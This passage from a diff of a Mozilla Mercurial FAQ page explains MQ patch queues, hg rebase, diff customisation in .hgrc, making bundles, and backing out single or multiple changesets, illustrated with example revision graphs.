+415[tip]   d1accb6ee840   2008-04-30 09:57 -0700   vladimir
+  b=430873; fast path drawImage with a canvas as source
+414   3a3ecbb4873e   2008-04-30 09:55 -0700   vladimir
+  cvs sync
+% hg qimport -r 415
+Turn the new commit you made into a MQ patch
+% hg qtop
+415.diff
+% hg qpop
+Patch queue now empty
+Pop the MQ patch off the stack. At this point, the tip of your tree is also in the remote repository
+% hg pull -u
+... various pull/update messages ...
+% hg qpush
+applying 415.diff
+Now at: 415.diff
+Fix up conficts as necessary; if you fixed up any, run hg qrefresh first
+% hg incoming
+comparing with ssh://hg.mozilla.org/mozilla-central/
+searching for changes
+no changes found
+Make sure	nobody pushed while you were merging. Otherwise, qpop, pull and qpush again
+% hg qfinish 415.diff
+Turn the MQ patch into a regular revision
+% hg log -l 5
+verify that the log looks good, with your commit on top
+% hg push
+
+

If you already use mq to manage your patches, then just make sure you pull/update right before committing and pushing your patch. If you have problems with the above, it's ok to just do a simple merge as described previously.

+

In this case, if there are merge conflicts, MQ will produce .rej files. Some people prefer this over being thrown into a merge program.

+

Using hg rebase

+

(Requires Mercurial 1.1 or higher)

+

This is the simplest and easiest way to deal with the problem. You can rebase your local changesets (including mq patches) on top of the tip using the rebase extension. To do this, simply enable the extension by adding this to the following section of your .hgrc:

+
[extensions]
+hgext.rebase =
+
+

Now, type hg pull --rebase to pull and rebase your local changesets at the same time. More details and options can be found at the Mercurial wiki.

+

If you have conflicting changes, you'll be thrown into your preferred merge tool.

+
+ Note: As of Mercurial 1.1, rebasing (especially with mq patches) might lose rename data; this is a known bug that has been fixed in Mercurial 1.3. 
+
+ Note: If you had done a normal hg pull without --rebase after your hg commit, you will have to first undo that by doing hg rollback. Only the very last action can be undone, so if you did anything else after the hg pull, you're out of luck.
+
+ Note: If you have local changes, hg pull --rebase (just like hg merge) will refuse to work, so you'll have to revert your local changes first:
+
hg diff > old.diff
+hg revert .
+hg pull --rebase
+hg push
+patch -p 1 -i old.diff
+rm old.diff
+
+

How do I see what these commands will do before I do them?

+

If you want to see what hg commit will commit, run hg diff first.

+

If you want to see what hg push will push, run hg outgoing first.

+

If you want to see what hg pull will pull, run hg incoming first.

+

These pairs of commands all take similar arguments, for good reason. These are a good idea to use all the time when you're learning mercurial. And even once you're an expert, always doing outgoing before push is a good idea.

+

How can I customize the format of the patches Mercurial creates?

+

Edit your ~/.hgrc file and add some lines like these:

+
[defaults]
+diff=-U 8 -p
+qdiff=-U 8
+#for Mercurial 1.1 use:
+#qdiff=-U 8 -p
+
[diff]
+git=true
+
+

The {{ mediawiki.external('defaults') }} section affects the default output of the hg diff and hg qdiff commands. The options behave the same as they would on the command line. Try hg help diff for more info.

+

The {{ mediawiki.external('diff') }} section affects all patches generated by Mercurial, even hg export and those generated for Mercurial's internal use. You need to be a lot more careful with this, but git=true is recommended. Without it, Mercurial cannot diff binary files and does not track the execute mode bit.  You may want to add showfunc=true here to get diffs that show the function being changed in each hunk, and you may want to add unified=8 to make all diffs (including the internal ones mq uses) have 8 lines of context. Note that this may increase the risk of mq patches failing to apply!

+

How do I get a diff -w?

+

There is a known issue where hg diff -w doesn't work.

+

To get around this add the following to your ~/.hgrc file, editing existing sections where applicable:

+
[extensions]
+hgext.extdiff =
+
+[extdiff]
+cmd.diffw = diff
+opts.diffw = -w -r -N -p -U 8
+
+

You can, of course, add your other favourite diff options to opts.diffw. Once you've added this, you will now have a new hg command, hg diffw.

+

hg diffw -r -2 is the equivalent of hq qdiff -w for the topmost patch in the queue.

+

How do I generate a bundle?

+

Sometimes the tree will be under sheriff control, and they will specifically ask for a bundle.  If you don't have sufficient rights to push to mozilla-central, you might also generate bundles and attach them to bugs when you add checkin-needed to a bug after it has the necessary reviews and approval.

+

Creating a bundle is quite simple.  Once you have your changes all done, commit them to your local repository.  You can also commit more than one changeset.  Once you have everything committed, instead of pushing you'll run hg bundle:

+
hg bundle outputfile.hg
+
+

By default, hg bundle will bundle everything that hg outgoing would display (and what you would push with hg push).  You can limit how far forward you want to bundle as well by specifying a revision with -r.  That will take all changes up until that revision.

+

Backing out changes

+

Reverting the whole tree to a known-good revision

+

It's easy, like using a sledgehammer is easy. But this is usually overkill.

+
$ hg pull -u
+$ hg revert --all -r a0193d83c208       # use your known-good revision id here
+$ hg commit                             # be kind, include the revision id in your commit message
+$ hg push
+
+

There's a more precise alternative:

+

Backing out a single changeset

+

Suppose changeset f8f4360bf155 broke something.

+
$ hg pull -u
+$ hg backout f8f4360bf155               # use the revision id of the bad change here
+
+

This creates and commits a new changeset that reverts all the changes in that revision.

+

If you see this message:

+
the backout changeset is a new head - do not forget to merge
+
+

That means you need to merge, because your history now looks like this:

+
  YOU ---> o  9123b7791b52 - Kaitlin Jones <kaitlin@example.net> - Backed out changeset f8f4360bf155
+           |
+TRUNK ---> | o  4e5bfb83643f - Simon Montagu <smontagu@example.org> - imported patch 435856
+           | |
+           | o  6ee23de41631 - Phil Ringnalda <philringnalda@example.com> - Bug 438526 - Opening links w
+           | |
+           | o  22baa05d0e8a - Robert O'Callahan <robert@example.org> - Remove DOM testcase from exclusi
+           | |
+           | o  c1aec2094f7e - Robert Longson <longsonr@example.com> - Bug 437448. New-style nsSVGString
+           | |
+           | o  306726089e22 - Robert Longson <longsonr@example.com> - Bug 437448. New-style nsSVGString
+           | |
+           | o  ba9b9a7c52a5 - Robert Longson <longsonr@example.com> - Bug 437448. New-style nsSVGString
+           |/
+           o  f8f4360bf155 - Robert O'Callahan <robert@example.org> - Bug 421436. Remove hack that gives
+           |
+           ⋮ (the past)
+
+

Your backout changeset is based on an old revision. It doesn't contain more recent changes.

+

Handle this like any other merge. If you've never done a merge before, get help. (It could be trivial or it could be a huge headache. There's plenty about merging elsewhere in this FAQ.)

+

Backing out multiple changesets that are not at tip

+

Your push of many changesets was bad, but you didn't find out until after a lot of subsequent activity. You want to back out the bad but keep the probably-good changesets from the subsequent activity.

+

NB: this is hard, error-prone, and will likely b0rk your local tree if you mess up. If in doubt, ask someone else to do it for you.

+

What one would really like to do is

+
hg backout --from-rev $FIRST_BAD --to-rev $LAST_BAD
+
+

or, if local hg could access pushlog

+
hg backout --push $LAST_BAD
+
+

but, since hg can't do either (yet), we're stuck. What we'll do instead is travel back in hg-time to the last bad cset, revert all changes between last-bad and last-good, then merge that reversion to the current tip. Your tree might look like

+
 MERGE_TO ---> @  c6abfc89215a - Chris Pearce <chris@pearce.org.nz> - Bug 485288 - Replace all usage of video  autobuffer attribute with preload=auto. a=test-fix
+               |
+               o  d6e8fddeb95b - Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Disable test_preload_actions.html case 9 until bug 568402 is fixed. a=test-fix
+               |
+               o  571d2664ead0 - Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Don't show throbber on video controls if we're not loading a resource. r=dolske a=blocking2.0
+               |
+               o  3f7dfabab5e4 - Rich Dougherty <rich@rd.gen.nz>, Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Replace HTMLMediaElement.autobuffer attribute with 'preload'. r=roc a=blocking2.0
+               |
+               o  d7d9cf4ab76a - Chris Pearce <chris@pearce.org.nz> - Bug 519897 - Supported indexed Ogg files. r=doublec
+               |
+               o    2a0e5811ece9 - Chris Pearce <chris@pearce.org.nz> - Commit merge of backout of 66dcf25705f9. a=backout
+               |\
+               | o  958a30df30dd - Chris Pearce <chris@pearce.org.nz> - Backed out changeset 66dcf25705f9
+               | |
+               o |  6eead86e13dd - Michael Wu <mwu@mozilla.com> - Bug 556644 - Yet another removed-files.in update, r=rs a=blocking-beta5
+               | |
+               o |  69c6ce104f45 - Chris Jones <jones.chris.g@gmail.com> - Bug 588216: Avoid race between IO-thread loop->PostTask() and main-thread loop->SetNestableTasksAllowed() that led to Tasks being ignored. r=bent
+               | |
+               o |  73899b33ca4b - Ben Turner <bent.mozilla@gmail.com> - Bug 576716 - 'Crash [@ TypedArrayTemplate<int>::init] or [@ TypedArrayTemplate<int>::create]'. Adding a test, r=vlad a=blocker
+               | |
+               o |  3bd62d459019 - Mark Banner <bugzilla@standard8.plus.com> - Follow up to bug 587984 bustage fix for l10n repacks. r=Pike,ted,a=bustage-fix
+               | |
+               o |  e1ca9091e5a6 - Benjamin Stover <webapps@stechz.com> - Bug 575731: Make test more stable in the face of various themes. r,a=sicking
+               | |
+               o |  bb200e1f52b4 - Jonas Sicking <jonas@sicking.cc> - Bug 550959: Require version 2.5 of python. r=ted a=sicking
+               | |
+               o |  992491c618de - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (12/12): fix assertions in nsStyleAnimation triggered by part 3.  r=dbaron  a2.0=dbaron
+               | |
+               o |  2f078585a0f6 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (11/12): Make all assertions fatal in Declaration.h, Declaration.cpp, nsCSSDataBlock.h, nsCSSDataBlock.cpp, nsCSSValue.h, nsCSSValue.cpp, nsCSSProps.h, and nsCSSProps.cpp.  r=dbaron  a2.0=dbaron
+               | |
+               o |  5a9bd15fd7a8 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (10/12): Don't directly manipulate the contents of mTempData in the CSS parser.  r=dbaron  a2.0=dbaron
+               | |
+               o |  4bb2e0074aeb - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (9/12): Add an AddLonghandProperty method to nsCSSExpandedDataBlock.  r=dbaron  a2.0=dbaron
+               | |
+               o |  659a0864e035 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (8/12): remove the last MoveValue call from the CSS parser.  r=dbaron  a2.0=dbaron
+               | |
+               o |  980f0170d982 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (7/12): cleanup pass on css/Declaration.{h,cpp} and nsCSSDataBlock.{h,cpp}.  r=dbaron  a2.0=dbaron
+               | |
+               o |  f09c1638d3c1 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (6/12): remove vestiges of nsCSSType.  r=dbaron  a2.0=dbaron
+               | |
+               o |  b88472b0af90 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (5/12): eliminate ValueList as a storage type.  r=dbaron  a2.0=dbaron
+               | |
+               o |  a3e21759b570 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (4/12): eliminate ValuePairList as a storage type.  r=dbaron  a2.0=dbaron
+               | |
+               o |  ed89c9e297ab - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (3/12): eliminate Rect as a storage type.  r=dbaron  a2.0=dbaron
+               | |
+               o |  4fc85e572c38 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (2/12): eliminate ValuePair as a storage type.  r=dbaron  a2.0=dbaron
+               | |
+               o |  301875d4f9b6 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (1/12): Move all the CSS 'storage types' (rect, value pair, etc) to nsCSSValue.h and their code to nsCSSValue.cpp.  r=dbaron  a2.0=dbaron
+               | |
+ LAST_BAD ---> o |  90ad165ae21b - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part i: Use nsIWidget::CreateChild in nsIView::CreateWidget* (where possible). r=roc a=blocking-fennecb1
+               | |
+               o |  037a5d6b376a - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part h: Add an nsIWidget::CreateChild interface to sweep (relevant to this bug) code dealing with native widgets under the widget/src/* rug. sr=roc
+               | |
+               o |  f1af117d4598 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part g: Split nsIView::CreateWidget into CreateWidget, CreateWidgetForParent, and CreateWidgetForPopup in preparation of eliminating IIDs here. sr=roc
+               | |
+               o |  5bf0b315a5aa - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part f: Split out window initialization code in preparation for multiple CreateWidget* methods. r=roc
+               | |
+               o |  353da995af6f - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part e: Simplify the logic for creating popup widgets. r=roc
+               | |
+               o |  7735c00eabe9 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part d: Simplify nsView::LoadWidget and return early if it fails. r=roc
+               | |
+               o |  7b17bcefb174 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part c: Initialize default widget init data earlier so that it's always available. r=roc
+               | |
+               o |  c5945b6a97ed - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part b: Remove nsIDeviceContext::SupportsNativeWidgets because it's not used meaningfully, and will be confusing in content processes. sr=roc
+               | |
+               o |  5452db293694 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part a: Add nsIView::Impl() and nsView::CreateWidget() to get rid of |static_cast<nsview*>(this)|. r=roc
+               | |
+               o |  9407827b5166 - Chris Jones <jones.chris.g@gmail.com> - Bug 582075, part 0.5: Add support for aInitData=NULL to the Windows nsWindow implementation. r=dougt
+               | |
+               o |  88a279b64473 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part 0: Log the repaint region bounding rect in DumpPaintEvent. r=roc
+               | |
+               o |  cebb111fbfc4 - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 3: Remove nsSVGUtils::GetThebesComputationalSurface and use gfxPlatform::ScreenReferenceSurface instead. r=jwatt
+               | |
+               o |  7b3726c3a580 - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 2: Change nsIPresShell::CreateRenderingContext to GetReferenceRenderingContext, that uses the shared 1x1 surface, and use it all over the place. r=mats,sr=dbaron
+               | |
+FIRST_BAD ---> o |  b3e968d831ec - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 1: Create a single static 1x1 surface in gfxPlatform that can be used to create contexts for text measurement etc. r=vlad
+               | |
+LAST_GOOD ---> o |  55ef0e0529bc - Mounir Lamouri <mounir.lamouri@gmail.com> - Bug 506554 - Implement the CSS3 pseudo-classes :required and :optional for HTML. r=sicking sr=bz a2.0=blocking
+               | |
+</int></int>
+

We want to erase all changes between $FIRST_BAD and $LAST_BAD, then merge to $MERGE_TO

+
$ MERGE_TO="c6abfc89215a"
+$ LAST_BAD="90ad165ae21b"
+$ LAST_GOOD="55ef0e0529bc"
+$ hg up -r $LAST_BAD
+90 files updated, 0 files merged, 4 files removed, 0 files unresolved
+
+

We just traveled back in time to the last cset we want to nuke. Now we'll revert the changes between $FIRST_BAD and $LAST_BAD.

+
$ hg revert --all --no-backup -r $LAST_GOOD
+reverting accessible/src/msaa/nsTextAccessibleWrap.cpp
+reverting content/svg/content/src/SVGMotionSMILPathUtils.h
+reverting content/svg/content/src/nsSVGPathElement.cpp
+reverting gfx/src/nsIDeviceContext.h
+reverting gfx/src/thebes/nsThebesDeviceContext.cpp
+reverting gfx/src/thebes/nsThebesDeviceContext.h
+reverting gfx/thebes/gfxPlatform.cpp
+reverting gfx/thebes/gfxPlatform.h
+reverting layout/base/nsCSSFrameConstructor.cpp
+reverting layout/base/nsDocumentViewer.cpp
+reverting layout/base/nsIPresShell.h
+reverting layout/base/nsPresShell.cpp
+reverting layout/build/nsLayoutStatics.cpp
+reverting layout/generic/nsFrameFrame.cpp
+reverting layout/generic/nsObjectFrame.cpp
+reverting layout/generic/nsSimplePageSequence.cpp
+reverting layout/generic/nsTextFrameThebes.cpp
+reverting layout/inspector/src/inFlasher.cpp
+reverting layout/printing/nsPrintEngine.cpp
+reverting layout/svg/base/src/nsSVGForeignObjectFrame.cpp
+reverting layout/svg/base/src/nsSVGGlyphFrame.cpp
+reverting layout/svg/base/src/nsSVGImageFrame.cpp
+reverting layout/svg/base/src/nsSVGPathGeometryFrame.cpp
+reverting layout/svg/base/src/nsSVGUtils.cpp
+reverting layout/svg/base/src/nsSVGUtils.h
+reverting layout/xul/base/src/nsMenuPopupFrame.cpp
+reverting layout/xul/base/src/nsSplitterFrame.cpp
+reverting layout/xul/base/src/tree/src/nsTreeBodyFrame.cpp
+reverting view/public/nsIView.h
+reverting view/src/nsView.cpp
+reverting view/src/nsView.h
+reverting widget/public/nsIWidget.h
+reverting widget/src/beos/nsWindow.h
+reverting widget/src/cocoa/nsChildView.h
+reverting widget/src/cocoa/nsCocoaWindow.h
+reverting widget/src/windows/nsWindow.cpp
+reverting widget/src/xpwidgets/nsBaseWidget.cpp
+reverting widget/src/xpwidgets/nsBaseWidget.h
+$ hg commit -m 'Back out bug 585817 and bug 582057'
+created new head
+
+

After committing the reversion, we now have a new head that doesn't include the probably-good changes after $LAST_BAD.

+
@  1767c1fb9418 - Chris Jones <jones.chris.g@gmail.com> - Back out bug 585817 and bug 582057
+|
+| o  c6abfc89215a - Chris Pearce <chris@pearce.org.nz> - Bug 485288 - Replace all usage of video  autobuffer attribute with preload=auto. a=test-fix
+| |
+| o  d6e8fddeb95b - Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Disable test_preload_actions.html case 9 until bug 568402 is fixed. a=test-fix
+| |
+| o  571d2664ead0 - Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Don't show throbber on video controls if we're not loading a resource. r=dolske a=blocking2.0
+| |
+| o  3f7dfabab5e4 - Rich Dougherty <rich@rd.gen.nz>, Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Replace HTMLMediaElement.autobuffer attribute with 'preload'. r=roc a=blocking2.0
+| |
+| o  d7d9cf4ab76a - Chris Pearce <chris@pearce.org.nz> - Bug 519897 - Supported indexed Ogg files. r=doublec
+| |
+| o    2a0e5811ece9 - Chris Pearce <chris@pearce.org.nz> - Commit merge of backout of 66dcf25705f9. a=backout
+| |\
+| | o  958a30df30dd - Chris Pearce <chris@pearce.org.nz> - Backed out changeset 66dcf25705f9
+| | |
+| o |  6eead86e13dd - Michael Wu <mwu@mozilla.com> - Bug 556644 - Yet another removed-files.in update, r=rs a=blocking-beta5
+| | |
+| o |  69c6ce104f45 - Chris Jones <jones.chris.g@gmail.com> - Bug 588216: Avoid race between IO-thread loop->PostTask() and main-thread loop->SetNestableTasksAllowed() that led to Tasks being ignored. r=bent
+| | |
+| o |  73899b33ca4b - Ben Turner <bent.mozilla@gmail.com> - Bug 576716 - 'Crash [@ TypedArrayTemplate<int>::init] or [@ TypedArrayTemplate<int>::create]'. Adding a test, r=vlad a=blocker
+| | |
+| o |  3bd62d459019 - Mark Banner <bugzilla@standard8.plus.com> - Follow up to bug 587984 bustage fix for l10n repacks. r=Pike,ted,a=bustage-fix
+| | |
+| o |  e1ca9091e5a6 - Benjamin Stover <webapps@stechz.com> - Bug 575731: Make test more stable in the face of various themes. r,a=sicking
+| | |
+| o |  bb200e1f52b4 - Jonas Sicking <jonas@sicking.cc> - Bug 550959: Require version 2.5 of python. r=ted a=sicking
+| | |
+| o |  992491c618de - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (12/12): fix assertions in nsStyleAnimation triggered by part 3.  r=dbaron  a2.0=dbaron
+| | |
+| o |  2f078585a0f6 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (11/12): Make all assertions fatal in Declaration.h, Declaration.cpp, nsCSSDataBlock.h, nsCSSDataBlock.cpp, nsCSSValue.h, nsCSSValue.cpp, nsCSSProps.h, and nsCSSProps.cpp.  r=dbaron  a2.0=dbaron
+| | |
+| o |  5a9bd15fd7a8 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (10/12): Don't directly manipulate the contents of mTempData in the CSS parser.  r=dbaron  a2.0=dbaron
+| | |
+| o |  4bb2e0074aeb - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (9/12): Add an AddLonghandProperty method to nsCSSExpandedDataBlock.  r=dbaron  a2.0=dbaron
+| | |
+| o |  659a0864e035 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (8/12): remove the last MoveValue call from the CSS parser.  r=dbaron  a2.0=dbaron
+| | |
+| o |  980f0170d982 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (7/12): cleanup pass on css/Declaration.{h,cpp} and nsCSSDataBlock.{h,cpp}.  r=dbaron  a2.0=dbaron
+| | |
+| o |  f09c1638d3c1 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (6/12): remove vestiges of nsCSSType.  r=dbaron  a2.0=dbaron
+| | |
+| o |  b88472b0af90 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (5/12): eliminate ValueList as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+| o |  a3e21759b570 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (4/12): eliminate ValuePairList as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+| o |  ed89c9e297ab - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (3/12): eliminate Rect as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+| o |  4fc85e572c38 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (2/12): eliminate ValuePair as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+| o |  301875d4f9b6 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (1/12): Move all the CSS 'storage types' (rect, value pair, etc) to nsCSSValue.h and their code to nsCSSValue.cpp.  r=dbaron  a2.0=dbaron
+|/ /
+o |  90ad165ae21b - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part i: Use nsIWidget::CreateChild in nsIView::CreateWidget* (where possible). r=roc a=blocking-fennecb1
+| |
+o |  037a5d6b376a - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part h: Add an nsIWidget::CreateChild interface to sweep (relevant to this bug) code dealing with native widgets under the widget/src/* rug. sr=roc
+| |
+o |  f1af117d4598 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part g: Split nsIView::CreateWidget into CreateWidget, CreateWidgetForParent, and CreateWidgetForPopup in preparation of eliminating IIDs here. sr=roc
+| |
+o |  5bf0b315a5aa - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part f: Split out window initialization code in preparation for multiple CreateWidget* methods. r=roc
+| |
+o |  353da995af6f - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part e: Simplify the logic for creating popup widgets. r=roc
+| |
+o |  7735c00eabe9 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part d: Simplify nsView::LoadWidget and return early if it fails. r=roc
+| |
+o |  7b17bcefb174 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part c: Initialize default widget init data earlier so that it's always available. r=roc
+| |
+o |  c5945b6a97ed - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part b: Remove nsIDeviceContext::SupportsNativeWidgets because it's not used meaningfully, and will be confusing in content processes. sr=roc
+| |
+o |  5452db293694 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part a: Add nsIView::Impl() and nsView::CreateWidget() to get rid of |static_cast<nsview*>(this)|. r=roc
+| |
+o |  9407827b5166 - Chris Jones <jones.chris.g@gmail.com> - Bug 582075, part 0.5: Add support for aInitData=NULL to the Windows nsWindow implementation. r=dougt
+| |
+o |  88a279b64473 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part 0: Log the repaint region bounding rect in DumpPaintEvent. r=roc
+| |
+o |  cebb111fbfc4 - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 3: Remove nsSVGUtils::GetThebesComputationalSurface and use gfxPlatform::ScreenReferenceSurface instead. r=jwatt
+| |
+o |  7b3726c3a580 - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 2: Change nsIPresShell::CreateRenderingContext to GetReferenceRenderingContext, that uses the shared 1x1 surface, and use it all over the place. r=mats,sr=dbaron
+| |
+o |  b3e968d831ec - Robert O'Callahan <roc@ocallahan.org> - Bug 585817. Part 1: Create a single static 1x1 surface in gfxPlatform that can be used to create contexts for text measurement etc. r=vlad
+| |
+o |  55ef0e0529bc - Mounir Lamouri <mounir.lamouri@gmail.com> - Bug 506554 - Implement the CSS3 pseudo-classes :required and :optional for HTML. r=sicking sr=bz a2.0=blocking
+| |
+</int></int>
+

We want to merge with those probably-good changesets. Note that if any of those probably-good changesets touched code you backed out, you'll need to resolve merge conflicts.

+
$ hg merge $MERGE_TO
+92 files updated, 0 files merged, 2 files removed, 0 files unresolved
+(branch merge, don't forget to commit)
+$ hg commit -m 'Merge backout'
+
+

OK, good to go. Your tree should look something like

+
@    8fccc434c295 - Chris Jones <jones.chris.g@gmail.com> - Merge backout
+|\
+| o  1767c1fb9418 - Chris Jones <jones.chris.g@gmail.com> - Back out bug 585817 and bug 582057
+| |
+o |  c6abfc89215a - Chris Pearce <chris@pearce.org.nz> - Bug 485288 - Replace all usage of video  autobuffer attribute with preload=auto. a=test-fix
+| |
+o |  d6e8fddeb95b - Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Disable test_preload_actions.html case 9 until bug 568402 is fixed. a=test-fix
+| |
+o |  571d2664ead0 - Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Don't show throbber on video controls if we're not loading a resource. r=dolske a=blocking2.0
+| |
+o |  3f7dfabab5e4 - Rich Dougherty <rich@rd.gen.nz>, Chris Pearce <chris@pearce.org.nz> - Bug 548523 - Replace HTMLMediaElement.autobuffer attribute with 'preload'. r=roc a=blocking2.0
+| |
+o |  d7d9cf4ab76a - Chris Pearce <chris@pearce.org.nz> - Bug 519897 - Supported indexed Ogg files. r=doublec
+| |
+o |    2a0e5811ece9 - Chris Pearce <chris@pearce.org.nz> - Commit merge of backout of 66dcf25705f9. a=backout
+|\ \
+| o |  958a30df30dd - Chris Pearce <chris@pearce.org.nz> - Backed out changeset 66dcf25705f9
+| | |
+o | |  6eead86e13dd - Michael Wu <mwu@mozilla.com> - Bug 556644 - Yet another removed-files.in update, r=rs a=blocking-beta5
+| | |
+o | |  69c6ce104f45 - Chris Jones <jones.chris.g@gmail.com> - Bug 588216: Avoid race between IO-thread loop->PostTask() and main-thread loop->SetNestableTasksAllowed() that led to Tasks being ignored. r=bent
+| | |
+o | |  73899b33ca4b - Ben Turner <bent.mozilla@gmail.com> - Bug 576716 - 'Crash [@ TypedArrayTemplate<int>::init] or [@ TypedArrayTemplate<int>::create]'. Adding a test, r=vlad a=blocker
+| | |
+o | |  3bd62d459019 - Mark Banner <bugzilla@standard8.plus.com> - Follow up to bug 587984 bustage fix for l10n repacks. r=Pike,ted,a=bustage-fix
+| | |
+o | |  e1ca9091e5a6 - Benjamin Stover <webapps@stechz.com> - Bug 575731: Make test more stable in the face of various themes. r,a=sicking
+| | |
+o | |  bb200e1f52b4 - Jonas Sicking <jonas@sicking.cc> - Bug 550959: Require version 2.5 of python. r=ted a=sicking
+| | |
+o | |  992491c618de - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (12/12): fix assertions in nsStyleAnimation triggered by part 3.  r=dbaron  a2.0=dbaron
+| | |
+o | |  2f078585a0f6 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (11/12): Make all assertions fatal in Declaration.h, Declaration.cpp, nsCSSDataBlock.h, nsCSSDataBlock.cpp, nsCSSValue.h, nsCSSValue.cpp, nsCSSProps.h, and nsCSSProps.cpp.  r=dbaron  a2.0=dbaron
+| | |
+o | |  5a9bd15fd7a8 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (10/12): Don't directly manipulate the contents of mTempData in the CSS parser.  r=dbaron  a2.0=dbaron
+| | |
+o | |  4bb2e0074aeb - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (9/12): Add an AddLonghandProperty method to nsCSSExpandedDataBlock.  r=dbaron  a2.0=dbaron
+| | |
+o | |  659a0864e035 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (8/12): remove the last MoveValue call from the CSS parser.  r=dbaron  a2.0=dbaron
+| | |
+o | |  980f0170d982 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (7/12): cleanup pass on css/Declaration.{h,cpp} and nsCSSDataBlock.{h,cpp}.  r=dbaron  a2.0=dbaron
+| | |
+o | |  f09c1638d3c1 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (6/12): remove vestiges of nsCSSType.  r=dbaron  a2.0=dbaron
+| | |
+o | |  b88472b0af90 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (5/12): eliminate ValueList as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+o | |  a3e21759b570 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (4/12): eliminate ValuePairList as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+o | |  ed89c9e297ab - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (3/12): eliminate Rect as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+o | |  4fc85e572c38 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (2/12): eliminate ValuePair as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+o---+  301875d4f9b6 - Zack Weinberg <zweinberg@mozilla.com> - Bug 576044 (1/12): Move all the CSS 'storage types' (rect, value pair, etc) to nsCSSValue.h and their code to nsCSSValue.cpp.  r=dbaron  a2.0=dbaron
+ / /
+| o  90ad165ae21b - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part i: Use nsIWidget::CreateChild in nsIView::CreateWidget* (where possible). r=roc a=blocking-fennecb1
+| |
+| o  037a5d6b376a - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part h: Add an nsIWidget::CreateChild interface to sweep (relevant to this bug) code dealing with native widgets under the widget/src/* rug. sr=roc
+| |
+| o  f1af117d4598 - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part g: Split nsIView::CreateWidget into CreateWidget, CreateWidgetForParent, and CreateWidgetForPopup in preparation of eliminating IIDs here. sr=roc
+| |
+| o  5bf0b315a5aa - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part f: Split out window initialization code in preparation for multiple CreateWidget* methods. r=roc
+| |
+| o  353da995af6f - Chris Jones <jones.chris.g@gmail.com> - Bug 582057, part e: Simplify the logic for creating popup widgets. r=roc
+| |
